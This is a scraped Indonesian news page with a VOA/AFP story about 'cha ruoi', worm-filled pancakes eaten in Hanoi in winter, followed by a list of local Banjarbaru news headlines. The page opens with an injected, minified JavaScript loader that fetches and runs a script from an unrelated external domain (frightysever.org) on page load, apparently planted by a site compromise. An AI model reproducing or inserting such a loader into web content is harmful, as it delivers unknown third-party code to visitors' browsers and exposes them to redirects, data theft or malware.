(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Kue Dadar Cacing Hangatkan Musim Dingin di Hanoi


HANOI, Saat udara dingin paling enak mengudap makanan hangat. Di Ibu Kota Vietnam, Hanoi, “cha ruoi”, sejenis kue goreng renyah, dan padat berisi cacing jenis ragworm atau semacam cacing tanah, menjadi kudapan favorit untuk mengusir hawa dingin. Tapi mungkin butuh nyali untuk menyantap kudapan itu.

Kue hangat berbentuk dadar yang terbuat dari campuran daging babi, telur, daun dill, kulit jeruk, dan segenggam cacing goreng, menjadi sajian favorit di warung-warung pinggir jalan hingga di rumah-rumah di bagian utara Vietnam.

Cacing itu biasanya membanjiri sawah-sawah ketika suhu mulai turun di utara sekitar Oktober dan November.

Para penjual cha ruoi biasanya menyemangati para pembeli agar tidak takut dengan isian cacing yang tampak menjijikan. Cha ruoi dijual seharga $1.

“Kelihatannya memang jelek, tapi jangan takut,” kata Bui Thi Nga, yang keluarganya sudah menjual makanan khas itu selama 30 tahun.

“Isiannya enak dan mengandung protein tinggi,” kata Bui kepada kantor berita AFP dari warungnya di kawasan Old Quarter di Hanoi.

Cacing-cacing itu bisa juga direbus dengan saus karamel kental, dicampur rempah-rempah atau cabai menjadi saus cocolan.

Tapi dadar cacing itu, yang lebih enak bila dibuat saat cacing masih menggeliat hidup, sudah lama menjadi favorit.

Tidak hanya itu. Kue dadar cacing yang sudah dibuat selama beberapa generasi di Vietnam, juga disebut bisa menjaga pernikahan agar tetap langgeng dan bahagia.

“Jika pasangan suami-istri tidak memakan sedikit pun ‘cha ruoi’ saat musimnya, tidak saja sang istri yang mengeluh, sang suami juga,” kata Vu Bang dalam buku karangannya “Jajanan Hanoi” yang diterbitkan pada 1952.

“Saya suka makan cha ruoi pada musim dingin. Ada rasa manis dan asam dari saus cocolan, dan rempah-rempahnya juga mendinginkan…sangat unik,” kata Hoang Thi Thu Hang kepada AFP. (ft/kk/voa)

Reporter: Ft/kk/voa
Editor: KK

Desy Arfianty

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

3 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

3 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

4 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

7 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

8 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

19 jam ago

This website uses cookies.